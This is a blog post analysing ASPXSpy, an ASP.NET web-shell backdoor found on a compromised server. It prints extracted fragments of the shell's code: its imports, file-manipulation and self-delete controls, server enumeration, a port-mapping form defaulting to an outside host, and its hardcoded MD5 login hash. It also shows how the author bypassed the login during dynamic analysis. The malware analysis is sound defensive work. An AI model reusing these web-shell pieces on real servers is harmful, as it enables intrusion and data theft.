Uncommon Treatises


[Home] [Projects] [Posts] [About] [Webring]



Post #16 (Or... "ASPXSpy With My Little Eye")

originally posted on 22/11/2015


Referring back to post #15, let's take a gander at those two .ASPX files that were spotted on one of our compromised servers.

As stated in the previous post, the only difference between "dusuki.aspx" and "website.aspx" was a few lines of comments, so we can just arbitrarily pick a sample file to work with.

Cursory Internet research reveals that ASPXSpy is a web server back door that offers a ton of functionality to the attacker deploying it. This can be seen by examining some interesting strings in the file, as well as the long list of imports that the file calls.

First, the imports:


<%@ import Namespace="System.IO"%>

<%@ import Namespace="System.Diagnostics"%>

<%@ import Namespace="System.Data"%>

<%@ import Namespace="System.Management"%>

<%@ import Namespace="System.Data.OleDb"%>

<%@ import Namespace="Microsoft.Win32"%>

<%@ import Namespace="System.Net.Sockets" %>

<%@ import Namespace="System.Net" %>

<%@ import Namespace="System.Runtime.InteropServices"%>

<%@ import Namespace="System.DirectoryServices"%>

<%@ import Namespace="System.ServiceProcess"%>

<%@ import Namespace="System.Text.RegularExpressions"%>

<%@ Import Namespace="System.Threading"%>

<%@ Import Namespace="System.Data.SqlClient"%>

<%@ import Namespace="Microsoft.VisualBasic"%>


Then, the strings:


000000000D37 000000000D37 0 Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";

000000000DD4 000000000DD4 0 Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";

000000000E74 000000000E74 0 Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('hae','');};";

000000001BA9 000000001BA9 0 ZGKh.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";

0000000022B5 0000000022B5 0 GLpi.Text="<a href=\"#\" onclick=\"Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('cYAl','"+Bin_Files.Name+"')\">Time</a> ";

00000000601D 00000000601D 0 Bin_H2_Title.InnerText="System Information >>";

00000000604E 00000000604E 0 Bin_H2_Mac.InnerText="MAC Information >>";

00000000607A 00000000607A 0 Bin_H2_Driver.InnerText="Driver Information >>";

000000006129 000000006129 0 yEwc.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");

000000006185 000000006185 0 yEwc.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");

000000006207 000000006207 0 yEwc.Append("<li><u>Terminal Port : </u>"+IKjwH+"</li>");

000000006242 000000006242 0 yEwc.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");

000000006289 000000006289 0 yEwc.Append("<<u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");

0000000062EB 0000000062EB 0 yEwc.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");

000000006337 000000006337 0 yEwc.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");

000000006389 000000006389 0 yEwc.Append("<li><u>Server TimeZone : </u>"+cCf("Win32_TimeZone").Rows[0]["Caption"]+"</li>");

00000000640C 00000000640C 0 yEwc.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");

000000006477 000000006477 0 yEwc.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");

0000000064B7 0000000064B7 0 yEwc.Append("<li><u>CPU Version : </u>"+NPPZ+"</li>");

000000006551 000000006551 0 oZnZV+=Int64.Parse(upM.Rows[0]["Capacity"].ToString());

00000000658D 00000000658D 0 yEwc.Append("<li><u>Server upM : </u>"+mTG(oZnZV)+"</li>");

00000000662B 00000000662B 0 hwJeS.Append("<li><u>Server MAC"+i+" : </u>"+dOza.Rows[i]["Caption"]+"</li>");

0000000066AC 0000000066AC 0 hwJeS.Append("<li style=\"list-style:none;\"><u>Address : </u>"+dOza.Rows[i]["MACAddress"]+"</li>");

000000006771 000000006771 0 jXkaE.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");

000000006811 000000006811 0 jXkaE.Append("Path : "+Driver.Rows[i]["PathName"]);

000000006852 000000006852 0 jXkaE.Append("No path information");

00000000687B 00000000687B 0 jXkaE.Append("</li>");

00000001102A 00000001102A 0 <%--PortMap--%>

0000000110E5 0000000110E5 0 <td style="width:20%" align="left">Local Ip : <input class="input" runat="server" id="eEpm" type="text" size="20" value="127.0.0.1"/></td>

000000011171 000000011171 0 <td style="width:20%" align="left">Local Port : <input class="input" runat="server" id="iXdh" type="text" size="20" value="3389"/></td>

0000000111FA 0000000111FA 0 <td style="width:20%" align="left">Remote Ip : <input class="input" runat="server" id="llH" type="text" size="20" value="www.rootkit.net.cn"/></td>

00000001128F 00000001128F 0 <td style="width:20%" align="left">Remote Port : <input class="input" runat="server" id="ZHS" type="text" size="20" value="80"/></td></tr>


Wow. File system manipulation, service/process interaction, a self-kill mechanism, and the ability to launch port scans. Oh, and there is more. I just got tired of pulling strings from the file at that point.

Well, we now have an idea what ASPXSpy does... so why don't we have some fun with dynamic analysis?

First, we will need some sort of a webserver that can power ASP applications. I located a simple, portable solution called CassiniDev. I fired up CassiniDev, pointed it to the directory containing "dusuki.aspx", set the port as 80, and let CassiniDev set a local HOSTS file entry called "aspxspy". Here is our landing page:



Oh no! We need a password to access the application! Let's look at our code again:


public string Password="21232f297a57a5a743894a0e4a801fc3";//admin


Well, sweet, they left the password for us. Except, not really. I tried entering that string, and I was denied access. If we search through the code for other instances of "password", we find the following snippet:


string Jfm=FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text,"MD5").ToLower();

if(Jfm==Password)


Basically, whatever text we enter into the password form is hased with MD5, then stored as the string variable "Jfm". If "Jfm" is equal to "21232f297a57a5a743894a0e4a801fc3", it means we entered the correct password, and thus are granted access to the application.

At this point I could take the time to try to crack the password (which would have been quick with a dictionary attack, seeing as how Google shows us that the password is just "admin" [http://md5cracker.org/decrypted-md5-hash/21232f297a57a5a743894a0e4a801fc3]), but why would I waste my time during dynamic analysis when I could just change the password input code to this instead:


string Jfm="21232f297a57a5a743894a0e4a801fc3";


Now, we just need to enter "21232f297a57a5a743894a0e4a801fc3" into the password form, and we are granted access!



Okay, so let's play around a bit:


Hey there, it's me from the future. As in... a decade after this post was written. When migrating this to my new website, I tried my best to make the post's original image anything other than a blurry mess, but with no success. Perhaps one day I'll find a higher resolution copy of the image not mangled by Blogger's compression, but in lieu of that ever happening, just know that what was shown here was simply a series of control panel screenshots showing typical features of a backdoor/RAT.


So, as you can you see, there is a lot of power behind this simple application. It is definitely not something you want sitting on your server, that much is certain.

Not much else to say about this one. See below for samples. Expect the final part of this post series shortly after the next week's holiday goings-ons.


p16_artifacts-zip.axx